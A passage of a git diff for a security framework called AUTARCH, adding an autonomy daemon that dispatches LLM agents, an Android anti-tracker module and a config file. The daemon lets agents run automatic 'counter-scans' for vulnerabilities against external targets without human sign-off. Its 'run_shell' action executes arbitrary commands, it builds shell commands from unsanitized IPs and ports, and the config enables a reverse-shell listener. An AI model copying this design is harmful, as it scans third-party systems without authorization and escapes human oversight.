False + config['tier'] = 0 + config['protections'] = {} + config['deactivated_at'] = datetime.now().isoformat() + self._save_honeypot_config(serial, config) + + return results + + def get_fake_data_set(self, serial): + """Generate a random fake persona from templates.""" + db = self._load_tracker_domains() + templates = db.get('fake_data_templates', {}) + locations = templates.get('locations', []) + searches = templates.get('searches', []) + purchases = templates.get('purchases', []) + interests = templates.get('interests', []) + models = templates.get('device_models', []) + + persona = { + 'location': random.choice(locations) if locations else None, + 'recent_searches': random.sample(searches, + min(5, len(searches))) if searches else [], + 'recent_purchases': random.sample(purchases, + min(3, len(purchases))) if purchases else [], + 'interests': random.sample(interests, + min(8, len(interests))) if interests else [], + 'device': random.choice(models) if models else None, + } + return persona + + # -- Data Management -- + + def update_tracker_domains(self, url=None): + """Download and merge tracker domains from remote source.""" + import urllib.request + if not url: + url = ('https://raw.githubusercontent.com/nickthetailmighty/' + 'pi-hole-blocklist/master/base-blocklist.txt') + try: + req = urllib.request.Request(url, + headers={'User-Agent': 'AUTARCH/1.0'}) + with urllib.request.urlopen(req, timeout=30) as resp: + raw = resp.read().decode() + db = self._load_tracker_domains() + merged = 0 + existing = set() + for cat in db.get('categories', {}).values(): + existing.update(cat.get('domains', [])) + new_domains = [] + for line in raw.split('\n'): + line = line.strip() + if not line or line.startswith('#'): + continue + # Handle hosts-file format (0.0.0.0 domain or 127.0.0.1 domain) + parts = line.split() + domain = parts[-1] if parts else line + domain = domain.strip() + if domain and '.' in domain and domain not in existing: + new_domains.append(domain) + merged += 1 + # Add to advertising category + if new_domains: + db.setdefault('categories', {}).setdefault( + 'advertising', {'domains': [], 'description': 'Ad networks'} + )['domains'].extend(new_domains[:500]) + db['last_updated'] = datetime.now().strftime('%Y-%m-%d') + with open(self._tracker_path, 'w') as f: + json.dump(db, f, indent=2) + self._tracker_db = db + return {'ok': True, 'merged': merged, 'source': url} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def get_tracker_stats(self): + """Domain/package counts by category.""" + db = self._load_tracker_domains() + categories = {} + total_domains = 0 + for cat_name, cat_data in db.get('categories', {}).items(): + count = len(cat_data.get('domains', [])) + categories[cat_name] = count + total_domains += count + companies = len(db.get('companies', {})) + packages = len(db.get('tracker_packages', [])) + return { + 'total_domains': total_domains, + 'categories': categories, + 'companies': companies, + 'packages': packages, + 'version': db.get('version', 'unknown'), + 'dns_providers': list(db.get('dns_providers', {}).keys()), + } + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_android_protect_manager(): + global _manager + if _manager is None: + _manager = AndroidProtectManager() + return _manager diff --git a/core/autonomy.py b/core/autonomy.py new file mode 100644 index 0000000..5300c61 --- /dev/null +++ b/core/autonomy.py @@ -0,0 +1,665 @@ +""" +AUTARCH Autonomy Daemon +Background loop that monitors threats, evaluates rules, and dispatches +AI-driven responses across all categories (defense, offense, counter, +analyze, OSINT, simulate). + +The daemon ties together: + - ThreatMonitor (threat data gathering) + - RulesEngine (condition-action evaluation) + - ModelRouter (SLM/SAM/LAM model tiers) + - Agent (autonomous task execution) +""" + +import json +import logging +import threading +import time +import uuid +from collections import deque +from dataclasses import dataclass, field, asdict +from datetime import datetime +from pathlib import Path +from typing import List, Dict, Any, Optional, Deque + +from .config import get_config +from .rules import RulesEngine, Rule +from .model_router import get_model_router, ModelTier + +_logger = logging.getLogger('autarch.autonomy') + + +@dataclass +class ActivityEntry: + """Single entry in the autonomy activity log.""" + id: str + timestamp: str + rule_id: Optional[str] = None + rule_name: Optional[str] = None + tier: Optional[str] = None + action_type: str = '' + action_detail: str = '' + result: str = '' + success: bool = True + duration_ms: Optional[int] = None + + def to_dict(self) -> dict: + return asdict(self) + + +class AutonomyDaemon: + """Background daemon for autonomous threat response. + + Lifecycle: start() -> pause()/resume() -> stop() + """ + + LOG_PATH = Path(__file__).parent.parent / 'data' / 'autonomy_log.json' + + def __init__(self, config=None): + self.config = config or get_config() + self.rules_engine = RulesEngine() + self._router = None # Lazy — get_model_router() on start + + # State + self._thread: Optional[threading.Thread] = None + self._running = False + self._paused = False + self._stop_event = threading.Event() + + # Agent tracking + self._active_agents: Dict[str, threading.Thread] = {} + self._agent_lock = threading.Lock() + + # Activity log (ring buffer) + settings = self.config.get_autonomy_settings() + max_entries = settings.get('log_max_entries', 1000) + self._activity: Deque[ActivityEntry] = deque(maxlen=max_entries) + self._activity_lock = threading.Lock() + + # SSE subscribers + self._subscribers: List = [] + self._sub_lock = threading.Lock() + + # Load persisted log + self._load_log() + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + @property + def status(self) -> dict: + """Current daemon status.""" + settings = self.config.get_autonomy_settings() + with self._agent_lock: + active = len(self._active_agents) + return { + 'running': self._running, + 'paused': self._paused, + 'enabled': settings['enabled'], + 'monitor_interval': settings['monitor_interval'], + 'rule_eval_interval': settings['rule_eval_interval'], + 'active_agents': active, + 'max_agents': settings['max_concurrent_agents'], + 'rules_count': len(self.rules_engine.get_all_rules()), + 'activity_count': len(self._activity), + } + + def start(self) -> bool: + """Start the autonomy daemon background thread.""" + if self._running: + _logger.warning('[Autonomy] Already running') + return False + + self._router = get_model_router() + self._running = True + self._paused = False + self._stop_event.clear() + + self._thread = threading.Thread( + target=self._run_loop, + name='AutonomyDaemon', + daemon=True, + ) + self._thread.start() + self._log_activity('system', 'Autonomy daemon started') + _logger.info('[Autonomy] Daemon started') + return True + + def stop(self): + """Stop the daemon and wait for thread exit.""" + if not self._running: + return + self._running = False + self._stop_event.set() + if self._thread and self._thread.is_alive(): + self._thread.join(timeout=10) + self._log_activity('system', 'Autonomy daemon stopped') + _logger.info('[Autonomy] Daemon stopped') + + def pause(self): + """Pause rule evaluation (monitoring continues).""" + self._paused = True + self._log_activity('system', 'Autonomy paused') + _logger.info('[Autonomy] Paused') + + def resume(self): + """Resume rule evaluation.""" + self._paused = False + self._log_activity('system', 'Autonomy resumed') + _logger.info('[Autonomy] Resumed') + + # ------------------------------------------------------------------ + # Main loop + # ------------------------------------------------------------------ + + def _run_loop(self): + """Background loop: gather context, evaluate rules, dispatch.""" + settings = self.config.get_autonomy_settings() + monitor_interval = settings['monitor_interval'] + rule_eval_interval = settings['rule_eval_interval'] + last_rule_eval = 0 + + while self._running and not self._stop_event.is_set(): + try: + # Gather threat context every cycle + context = self._gather_context() + + # Evaluate rules at a slower cadence + now = time.time() + if not self._paused and (now - last_rule_eval) >= rule_eval_interval: + last_rule_eval = now + self._evaluate_and_dispatch(context) + + except Exception as e: + _logger.error(f'[Autonomy] Loop error: {e}') + self._log_activity('error', f'Loop error: {e}', success=False) + + # Sleep in short increments so stop is responsive + self._stop_event.wait(timeout=monitor_interval) + + def _gather_context(self) -> Dict[str, Any]: + """Gather current threat context from ThreatMonitor.""" + try: + from modules.defender_monitor import get_threat_monitor + tm = get_threat_monitor() + except ImportError: + _logger.warning('[Autonomy] ThreatMonitor not available') + return {'timestamp': datetime.now().isoformat()} + + context: Dict[str, Any] = { + 'timestamp': datetime.now().isoformat(), + } + + try: + context['connections'] = tm.get_connections() + context['connection_count'] = len(context['connections']) + except Exception: + context['connections'] = [] + context['connection_count'] = 0 + + try: + context['bandwidth'] = {} + bw = tm.get_bandwidth() + if bw: + total_rx = sum(iface.get('rx_delta', 0) for iface in bw) + total_tx = sum(iface.get('tx_delta', 0) for iface in bw) + context['bandwidth'] = { + 'rx_mbps': (total_rx * 8) / 1_000_000, + 'tx_mbps': (total_tx * 8) / 1_000_000, + 'interfaces': bw, + } + except Exception: + context['bandwidth'] = {'rx_mbps': 0, 'tx_mbps': 0} + + try: + context['arp_alerts'] = tm.check_arp_spoofing() + except Exception: + context['arp_alerts'] = [] + + try: + context['new_ports'] = tm.check_new_listening_ports() + except Exception: + context['new_ports'] = [] + + try: + context['threat_score'] = tm.calculate_threat_score() + except Exception: + context['threat_score'] = {'score': 0, 'level': 'LOW', 'details': []} + + try: + context['ddos'] = tm.detect_ddos() + except Exception: + context['ddos'] = {'under_attack': False} + + try: + context['scan_indicators'] = tm.check_port_scan_indicators() + if isinstance(context['scan_indicators'], list): + context['scan_indicators'] = len(context['scan_indicators']) + except Exception: + context['scan_indicators'] = 0 + + return context + + # ------------------------------------------------------------------ + # Rule evaluation and dispatch + # ------------------------------------------------------------------ + + def _evaluate_and_dispatch(self, context: Dict[str, Any]): + """Evaluate rules and dispatch matching actions.""" + matches = self.rules_engine.evaluate(context) + + for rule, resolved_actions in matches: + for action in resolved_actions: + action_type = action.get('type', '') + _logger.info(f'[Autonomy] Rule "{rule.name}" triggered -> {action_type}') + + if self._is_agent_action(action_type): + self._dispatch_agent(rule, action, context) + else: + self._dispatch_direct(rule, action, context) + + def _is_agent_action(self, action_type: str) -> bool: + """Check if an action requires an AI agent.""" + return action_type in ('run_module', 'counter_scan', 'escalate_to_lam') + + def _dispatch_direct(self, rule: Rule, action: dict, context: dict): + """Execute a simple action directly (no LLM needed).""" + action_type = action.get('type', '') + start = time.time() + success = True + result = '' + + try: + if action_type == 'block_ip': + result = self._action_block_ip(action.get('ip', '')) + + elif action_type == 'unblock_ip': + result = self._action_unblock_ip(action.get('ip', '')) + + elif action_type == 'rate_limit_ip': + result = self._action_rate_limit( + action.get('ip', ''), + action.get('rate', '10/s'), + ) + + elif action_type == 'block_port': + result = self._action_block_port( + action.get('port', ''), + action.get('direction', 'inbound'), + ) + + elif action_type == 'kill_process': + result = self._action_kill_process(action.get('pid', '')) + + elif action_type in ('alert', 'log_event'): + result = action.get('message', 'No message') + + elif action_type == 'run_shell': + result = self._action_run_shell(action.get('command', '')) + + else: + result = f'Unknown action type: {action_type}' + success = False + + except Exception as e: + result = f'Error: {e}' + success = False + + duration = int((time.time() - start) * 1000) + detail = action.get('ip', '') or action.get('port', '') or action.get('message', '')[:80] + self._log_activity( + action_type, detail, + rule_id=rule.id, rule_name=rule.name, + result=result, success=success, duration_ms=duration, + ) + + def _dispatch_agent(self, rule: Rule, action: dict, context: dict): + """Spawn an AI agent to handle a complex action.""" + settings = self.config.get_autonomy_settings() + max_agents = settings['max_concurrent_agents'] + + # Clean finished agents + with self._agent_lock: + self._active_agents = { + k: v for k, v in self._active_agents.items() + if v.is_alive() + } + if len(self._active_agents) >= max_agents: + _logger.warning('[Autonomy] Max agents reached, skipping') + self._log_activity( + action.get('type', 'agent'), 'Skipped: max agents reached', + rule_id=rule.id, rule_name=rule.name, + success=False, + ) + return + + agent_id = str(uuid.uuid4())[:8] + action_type = action.get('type', '') + + # Determine tier + if action_type == 'escalate_to_lam': + tier = ModelTier.LAM + else: + tier = ModelTier.SAM + + t = threading.Thread( + target=self._run_agent, + args=(agent_id, tier, rule, action, context), + name=f'Agent-{agent_id}', + daemon=True, + ) + + with self._agent_lock: + self._active_agents[agent_id] = t + + t.start() + self._log_activity( + action_type, f'Agent {agent_id} spawned ({tier.value})', + rule_id=rule.id, rule_name=rule.name, tier=tier.value, + ) + + def _run_agent(self, agent_id: str, tier: ModelTier, rule: Rule, + action: dict, context: dict): + """Execute an agent task in a background thread.""" + from .agent import Agent + from .tools import get_tool_registry + + action_type = action.get('type', '') + start = time.time() + + # Build task prompt + if action_type == 'run_module': + module = action.get('module', '') + args = action.get('args', '') + task = f'Run the AUTARCH module "{module}" with arguments: {args}' + + elif action_type == 'counter_scan': + target = action.get('target', '') + task = f'Perform a counter-scan against {target}. Gather reconnaissance and identify vulnerabilities.' + + elif action_type == 'escalate_to_lam': + task = action.get('task', 'Analyze the current threat landscape and recommend actions.') + + else: + task = f'Execute action: {action_type} with params: {json.dumps(action)}' + + # Get LLM instance for the tier + router = self._router or get_model_router() + llm_inst = router.get_instance(tier) + + if llm_inst is None or not llm_inst.is_loaded: + # Try fallback + for fallback in (ModelTier.SAM, ModelTier.LAM): + llm_inst = router.get_instance(fallback) + if llm_inst and llm_inst.is_loaded: + tier = fallback + break + else: + self._log_activity( + action_type, f'Agent {agent_id}: no model loaded', + rule_id=rule.id, rule_name=rule.name, + tier=tier.value, success=False, + result='No model available for agent execution', + ) + return + + try: + agent = Agent( + llm=llm_inst, + tools=get_tool_registry(), + max_steps=15, + verbose=False, + ) + result = agent.run(task) + duration = int((time.time() - start) * 1000) + + self._log_activity( + action_type, + f'Agent {agent_id}: {result.summary[:100]}', + rule_id=rule.id, rule_name=rule.name, + tier=tier.value, success=result.success, + result=result.summary, duration_ms=duration, + ) + + except Exception as e: + duration = int((time.time() - start) * 1000) + _logger.error(f'[Autonomy] Agent {agent_id} failed: {e}') + self._log_activity( + action_type, f'Agent {agent_id} failed: {e}', + rule_id=rule.id, rule_name=rule.name, + tier=tier.value, success=False, + result=str(e), duration_ms=duration, + ) + + finally: + with self._agent_lock: + self._active_agents.pop(agent_id, None) + + # ------------------------------------------------------------------ + # Direct action implementations + # ------------------------------------------------------------------ + + def _action_block_ip(self, ip: str) -> str: + if not ip: + return 'No IP specified' + try: + from modules.defender_monitor import get_threat_monitor + tm = get_threat_monitor() + tm.auto_block_ip(ip) + return f'Blocked {ip}' + except Exception as e: + return f'Block failed: {e}' + + def _action_unblock_ip(self, ip: str) -> str: + if not ip: + return 'No IP specified' + try: + import subprocess, platform + if platform.system() == 'Windows': + cmd = f'netsh advfirewall firewall delete rule name="AUTARCH Block {ip}"' + else: + cmd = f'iptables -D INPUT -s {ip} -j DROP 2>/dev/null; iptables -D OUTPUT -d {ip} -j DROP 2>/dev/null' + subprocess.run(cmd, shell=True, capture_output=True, timeout=10) + return f'Unblocked {ip}' + except Exception as e: + return f'Unblock failed: {e}' + + def _action_rate_limit(self, ip: str, rate: str) -> str: + if not ip: + return 'No IP specified' + try: + from modules.defender_monitor import get_threat_monitor + tm = get_threat_monitor() + tm.apply_rate_limit(ip) + return f'Rate limited {ip} at {rate}' + except Exception as e: + return f'Rate limit failed: {e}' + + def _action_block_port(self, port: str, direction: str) -> str: + if not port: + return 'No port specified' + try: + import subprocess, platform + if platform.system() == 'Windows': + d = 'in' if direction == 'inbound' else 'out' + cmd = f'netsh advfirewall firewall add rule name="AUTARCH Block Port {port}" dir={d} action=block protocol=TCP localport={port}' + else: + chain = 'INPUT' if direction == 'inbound' else 'OUTPUT' + cmd = f'iptables -A {chain} -p tcp --dport {port} -j DROP' + subprocess.run(cmd, shell=True, capture_output=True, timeout=10) + return f'Blocked port {port} ({direction})' + except Exception as e: + return f'Block port failed: {e}' + + def _action_kill_process(self, pid: str) -> str: + if not pid: + return 'No PID specified' + try: + import subprocess, platform + if platform.system() == 'Windows': + cmd = f'taskkill /F /PID {pid}' + else: + cmd = f'kill -9 {pid}' + subprocess.run(cmd, shell=True, capture_output=True, timeout=10) + return f'Killed process {pid}' + except Exception as e: + return f'Kill failed: {e}' + + def _action_run_shell(self, command: str) -> str: + if not command: + return 'No command specified' + try: + import subprocess + result = subprocess.run( + command, shell=True, capture_output=True, + text=True, timeout=30, + ) + output = result.stdout[:500] + if result.returncode != 0: + output += f'\n[exit {result.returncode}]' + return output.strip() or '[no output]' + except Exception as e: + return f'Shell failed: {e}' + + # ------------------------------------------------------------------ + # Activity log + # ------------------------------------------------------------------ + + def _log_activity(self, action_type: str, detail: str, *, + rule_id: str = None, rule_name: str = None, + tier: str = None, result: str = '', + success: bool = True, duration_ms: int = None): + """Add an entry to the activity log and notify SSE subscribers.""" + entry = ActivityEntry( + id=str(uuid.uuid4())[:8], + timestamp=datetime.now().isoformat(), + rule_id=rule_id, + rule_name=rule_name, + tier=tier, + action_type=action_type, + action_detail=detail, + result=result, + success=success, + duration_ms=duration_ms, + ) + + with self._activity_lock: + self._activity.append(entry) + + # Notify SSE subscribers + self._notify_subscribers(entry) + + # Persist periodically (every 10 entries) + if len(self._activity) % 10 == 0: + self._save_log() + + def get_activity(self, limit: int = 50, offset: int = 0) -> List[dict]: + """Get recent activity entries.""" + with self._activity_lock: + entries = list(self._activity) + entries.reverse() # Newest first + return [e.to_dict() for e in entries[offset:offset + limit]] + + def get_activity_count(self) -> int: + return len(self._activity) + + # ------------------------------------------------------------------ + # SSE streaming + # ------------------------------------------------------------------ + + def subscribe(self): + """Create an SSE subscriber queue.""" + import queue + q = queue.Queue(maxsize=100) + with self._sub_lock: + self._subscribers.append(q) + return q + + def unsubscribe(self, q): + """Remove an SSE subscriber.""" + with self._sub_lock: + try: + self._subscribers.remove(q) + except ValueError: + pass + + def _notify_subscribers(self, entry: ActivityEntry): + """Push an activity entry to all SSE subscribers.""" + data = json.dumps(entry.to_dict()) + with self._sub_lock: + dead = [] + for q in self._subscribers: + try: + q.put_nowait(data) + except Exception: + dead.append(q) + for q in dead: + try: + self._subscribers.remove(q) + except ValueError: + pass + + # ------------------------------------------------------------------ + # Persistence + # ------------------------------------------------------------------ + + def _save_log(self): + """Persist activity log to JSON file.""" + try: + self.LOG_PATH.parent.mkdir(parents=True, exist_ok=True) + with self._activity_lock: + entries = [e.to_dict() for e in self._activity] + self.LOG_PATH.write_text( + json.dumps({'entries': entries[-200:]}, indent=2), + encoding='utf-8', + ) + except Exception as e: + _logger.error(f'[Autonomy] Failed to save log: {e}') + + def _load_log(self): + """Load persisted activity log.""" + if not self.LOG_PATH.exists(): + return + try: + data = json.loads(self.LOG_PATH.read_text(encoding='utf-8')) + for entry_dict in data.get('entries', []): + entry = ActivityEntry( + id=entry_dict.get('id', str(uuid.uuid4())[:8]), + timestamp=entry_dict.get('timestamp', ''), + rule_id=entry_dict.get('rule_id'), + rule_name=entry_dict.get('rule_name'), + tier=entry_dict.get('tier'), + action_type=entry_dict.get('action_type', ''), + action_detail=entry_dict.get('action_detail', ''), + result=entry_dict.get('result', ''), + success=entry_dict.get('success', True), + duration_ms=entry_dict.get('duration_ms'), + ) + self._activity.append(entry) + _logger.info(f'[Autonomy] Loaded {len(self._activity)} log entries') + except Exception as e: + _logger.error(f'[Autonomy] Failed to load log: {e}') + + +# ------------------------------------------------------------------ +# Singleton +# ------------------------------------------------------------------ + +_daemon_instance: Optional[AutonomyDaemon] = None + + +def get_autonomy_daemon() -> AutonomyDaemon: + """Get the global AutonomyDaemon instance.""" + global _daemon_instance + if _daemon_instance is None: + _daemon_instance = AutonomyDaemon() + return _daemon_instance + + +def reset_autonomy_daemon(): + """Stop and reset the global daemon.""" + global _daemon_instance + if _daemon_instance is not None: + _daemon_instance.stop() + _daemon_instance = None diff --git a/core/banner.py b/core/banner.py new file mode 100644 index 0000000..01378d5 --- /dev/null +++ b/core/banner.py @@ -0,0 +1,49 @@ +""" +AUTARCH Banner Module +Displays the main ASCII banner for the framework +""" + +# ANSI color codes +class Colors: + RED = '\033[91m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + BLUE = '\033[94m' + MAGENTA = '\033[95m' + CYAN = '\033[96m' + WHITE = '\033[97m' + BOLD = '\033[1m' + DIM = '\033[2m' + RESET = '\033[0m' + + +BANNER = f"""{Colors.RED}{Colors.BOLD} + ▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██ + ▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒ + ▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░ + ░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██ + ▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓ + ▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒ + ▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░ + ░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ + ░ +{Colors.RESET}{Colors.CYAN} By darkHal and Setec Security Labs.{Colors.RESET} +{Colors.DIM}═══════════════════════════════════════════════════════════════════{Colors.RESET} +""" + + +def display_banner(): + """Print the AUTARCH banner to the console.""" + print(BANNER) + + +def clear_screen(): + """Clear the terminal screen.""" + import os + os.system('clear' if os.name == 'posix' else 'cls') + + +if __name__ == "__main__": + clear_screen() + display_banner() diff --git a/core/config.py b/core/config.py new file mode 100644 index 0000000..4c229c6 --- /dev/null +++ b/core/config.py @@ -0,0 +1,586 @@ +""" +AUTARCH Configuration Handler +Manages the autarch_settings.conf file for llama.cpp settings +""" + +import os +import configparser +from pathlib import Path + + +class Config: + """Configuration manager for AUTARCH settings.""" + + DEFAULT_CONFIG = { + 'llama': { + 'model_path': '', + 'n_ctx': '4096', + 'n_threads': '4', + 'n_gpu_layers': '0', + 'gpu_backend': 'cpu', + 'temperature': '0.7', + 'top_p': '0.9', + 'top_k': '40', + 'repeat_penalty': '1.1', + 'max_tokens': '2048', + 'seed': '-1', + }, + 'autarch': { + 'first_run': 'true', + 'modules_path': 'modules', + 'verbose': 'false', + 'quiet': 'false', + 'no_banner': 'false', + 'llm_backend': 'local', + }, + 'claude': { + 'api_key': '', + 'model': 'claude-sonnet-4-20250514', + 'max_tokens': '4096', + 'temperature': '0.7', + }, + 'osint': { + 'max_threads': '8', + 'timeout': '8', + 'include_nsfw': 'false', + }, + 'pentest': { + 'max_pipeline_steps': '50', + 'output_chunk_size': '2000', + 'auto_execute': 'false', + 'save_raw_output': 'true', + }, + 'transformers': { + 'model_path': '', + 'device': 'auto', + 'torch_dtype': 'auto', + 'load_in_8bit': 'false', + 'load_in_4bit': 'false', + 'trust_remote_code': 'false', + 'max_tokens': '2048', + 'temperature': '0.7', + 'top_p': '0.9', + 'top_k': '40', + 'repetition_penalty': '1.1', + }, + 'rsf': { + 'install_path': '', + 'enabled': 'true', + 'default_target': '', + 'default_port': '80', + 'execution_timeout': '120', + }, + 'upnp': { + 'enabled': 'true', + 'internal_ip': '10.0.0.26', + 'refresh_hours': '12', + 'mappings': '443:TCP,51820:UDP,8181:TCP', + }, + 'web': { + 'host': '0.0.0.0', + 'port': '8181', + 'secret_key': '', + 'mcp_port': '8081', + }, + 'revshell': { + 'enabled': 'true', + 'host': '0.0.0.0', + 'port': '17322', + 'auto_start': 'false', + }, + 'slm': { + 'enabled': 'true', + 'backend': 'local', + 'model_path': '', + 'n_ctx': '512', + 'n_gpu_layers': '-1', + 'n_threads': '2', + }, + 'sam': { + 'enabled': 'true', + 'backend': 'local', + 'model_path': '', + 'n_ctx': '2048', + 'n_gpu_layers': '-1', + 'n_threads': '4', + }, + 'lam': { + 'enabled': 'true', + 'backend': 'local', + 'model_path': '', + 'n_ctx': '4096', + 'n_gpu_layers': '-1', + 'n_threads': '4', + }, + 'autonomy': { + 'enabled': 'false', + 'monitor_interval': '3', + 'rule_eval_interval': '5', + 'max_concurrent_agents': '3', + 'threat_threshold_auto_respond': '40', + 'log_max_entries': '1000', + }, + } + + def __init__(self, config_path: str = None): + """Initialize the configuration manager. + + Args: + config_path: Path to the configuration file. Defaults to autarch_settings.conf + in the framework directory. + """ + if config_path is None: + from core.paths import get_config_path + self.config_path = get_config_path() + else: + self.config_path = Path(config_path) + + self.config = configparser.ConfigParser() + self._load_or_create() + + def _load_or_create(self): + """Load existing config or create with defaults.""" + if self.config_path.exists(): + self.config.read(self.config_path) + self._apply_missing_defaults() + else: + self._create_default_config() + + def _apply_missing_defaults(self): + """Add any missing sections/keys from DEFAULT_CONFIG to the loaded config.""" + changed = False + for section, options in self.DEFAULT_CONFIG.items(): + if section not in self.config: + self.config[section] = options + changed = True + else: + for key, value in options.items(): + if key not in self.config[section]: + self.config[section][key] = value + changed = True + if changed: + self.save() + + def _create_default_config(self): + """Create a default configuration file.""" + for section, options in self.DEFAULT_CONFIG.items(): + self.config[section] = options + self.save() + + def save(self): + """Save the current configuration to file.""" + with open(self.config_path, 'w') as f: + self.config.write(f) + + def get(self, section: str, key: str, fallback=None): + """Get a configuration value. + + Args: + section: Configuration section name + key: Configuration key name + fallback: Default value if key doesn't exist + + Returns: + The configuration value or fallback + """ + value = self.config.get(section, key, fallback=fallback) + # Strip quotes from values (handles paths with spaces that were quoted) + if value and isinstance(value, str): + value = value.strip().strip('"').strip("'") + return value + + def get_int(self, section: str, key: str, fallback: int = 0) -> int: + """Get a configuration value as integer.""" + return self.config.getint(section, key, fallback=fallback) + + def get_float(self, section: str, key: str, fallback: float = 0.0) -> float: + """Get a configuration value as float.""" + return self.config.getfloat(section, key, fallback=fallback) + + def get_bool(self, section: str, key: str, fallback: bool = False) -> bool: + """Get a configuration value as boolean.""" + return self.config.getboolean(section, key, fallback=fallback) + + def set(self, section: str, key: str, value): + """Set a configuration value. + + Args: + section: Configuration section name + key: Configuration key name + value: Value to set + """ + if section not in self.config: + self.config[section] = {} + self.config[section][key] = str(value) + + def is_first_run(self) -> bool: + """Check if this is the first run of AUTARCH.""" + return self.get_bool('autarch', 'first_run', fallback=True) + + def mark_setup_complete(self): + """Mark the first-time setup as complete.""" + self.set('autarch', 'first_run', 'false') + self.save() + + def get_llama_settings(self) -> dict: + """Get all llama.cpp settings as a dictionary. + + Returns: + Dictionary with llama.cpp settings properly typed + """ + return { + 'model_path': self.get('llama', 'model_path', ''), + 'n_ctx': self.get_int('llama', 'n_ctx', 4096), + 'n_threads': self.get_int('llama', 'n_threads', 4), + 'n_gpu_layers': self.get_int('llama', 'n_gpu_layers', 0), + 'gpu_backend': self.get('llama', 'gpu_backend', 'cpu'), + 'temperature': self.get_float('llama', 'temperature', 0.7), + 'top_p': self.get_float('llama', 'top_p', 0.9), + 'top_k': self.get_int('llama', 'top_k', 40), + 'repeat_penalty': self.get_float('llama', 'repeat_penalty', 1.1), + 'max_tokens': self.get_int('llama', 'max_tokens', 2048), + 'seed': self.get_int('llama', 'seed', -1), + } + + def get_osint_settings(self) -> dict: + """Get all OSINT settings as a dictionary. + + Returns: + Dictionary with OSINT settings properly typed + """ + return { + 'max_threads': self.get_int('osint', 'max_threads', 8), + 'timeout': self.get_int('osint', 'timeout', 8), + 'include_nsfw': self.get_bool('osint', 'include_nsfw', False), + } + + def get_pentest_settings(self) -> dict: + """Get all pentest pipeline settings as a dictionary. + + Returns: + Dictionary with pentest settings properly typed + """ + return { + 'max_pipeline_steps': self.get_int('pentest', 'max_pipeline_steps', 50), + 'output_chunk_size': self.get_int('pentest', 'output_chunk_size', 2000), + 'auto_execute': self.get_bool('pentest', 'auto_execute', False), + 'save_raw_output': self.get_bool('pentest', 'save_raw_output', True), + } + + def get_claude_settings(self) -> dict: + """Get all Claude API settings as a dictionary. + + Returns: + Dictionary with Claude API settings properly typed + """ + return { + 'api_key': self.get('claude', 'api_key', ''), + 'model': self.get('claude', 'model', 'claude-sonnet-4-20250514'), + 'max_tokens': self.get_int('claude', 'max_tokens', 4096), + 'temperature': self.get_float('claude', 'temperature', 0.7), + } + + def get_transformers_settings(self) -> dict: + """Get all transformers/safetensors settings as a dictionary. + + Returns: + Dictionary with transformers settings properly typed + """ + return { + 'model_path': self.get('transformers', 'model_path', ''), + 'device': self.get('transformers', 'device', 'auto'), + 'torch_dtype': self.get('transformers', 'torch_dtype', 'auto'), + 'load_in_8bit': self.get_bool('transformers', 'load_in_8bit', False), + 'load_in_4bit': self.get_bool('transformers', 'load_in_4bit', False), + 'llm_int8_enable_fp32_cpu_offload': self.get_bool('transformers', 'llm_int8_enable_fp32_cpu_offload', False), + 'device_map': self.get('transformers', 'device_map', 'auto'), + 'trust_remote_code': self.get_bool('transformers', 'trust_remote_code', False), + 'max_tokens': self.get_int('transformers', 'max_tokens', 2048), + 'temperature': self.get_float('transformers', 'temperature', 0.7), + 'top_p': self.get_float('transformers', 'top_p', 0.9), + 'top_k': self.get_int('transformers', 'top_k', 40), + 'repetition_penalty': self.get_float('transformers', 'repetition_penalty', 1.1), + } + + def get_huggingface_settings(self) -> dict: + """Get all HuggingFace Inference API settings as a dictionary.""" + return { + 'api_key': self.get('huggingface', 'api_key', ''), + 'model': self.get('huggingface', 'model', 'mistralai/Mistral-7B-Instruct-v0.3'), + 'endpoint': self.get('huggingface', 'endpoint', ''), + 'provider': self.get('huggingface', 'provider', 'auto'), + 'max_tokens': self.get_int('huggingface', 'max_tokens', 1024), + 'temperature': self.get_float('huggingface', 'temperature', 0.7), + 'top_p': self.get_float('huggingface', 'top_p', 0.9), + 'top_k': self.get_int('huggingface', 'top_k', 40), + 'repetition_penalty': self.get_float('huggingface', 'repetition_penalty', 1.1), + 'do_sample': self.get_bool('huggingface', 'do_sample', True), + 'seed': self.get_int('huggingface', 'seed', -1), + 'stop_sequences': self.get('huggingface', 'stop_sequences', ''), + } + + def get_openai_settings(self) -> dict: + """Get all OpenAI API settings as a dictionary.""" + return { + 'api_key': self.get('openai', 'api_key', ''), + 'base_url': self.get('openai', 'base_url', 'https://api.openai.com/v1'), + 'model': self.get('openai', 'model', 'gpt-4o'), + 'max_tokens': self.get_int('openai', 'max_tokens', 4096), + 'temperature': self.get_float('openai', 'temperature', 0.7), + 'top_p': self.get_float('openai', 'top_p', 1.0), + 'frequency_penalty': self.get_float('openai', 'frequency_penalty', 0.0), + 'presence_penalty': self.get_float('openai', 'presence_penalty', 0.0), + } + + def get_rsf_settings(self) -> dict: + """Get all RouterSploit settings as a dictionary. + + Returns: + Dictionary with RSF settings properly typed + """ + return { + 'install_path': self.get('rsf', 'install_path', ''), + 'enabled': self.get_bool('rsf', 'enabled', True), + 'default_target': self.get('rsf', 'default_target', ''), + 'default_port': self.get('rsf', 'default_port', '80'), + 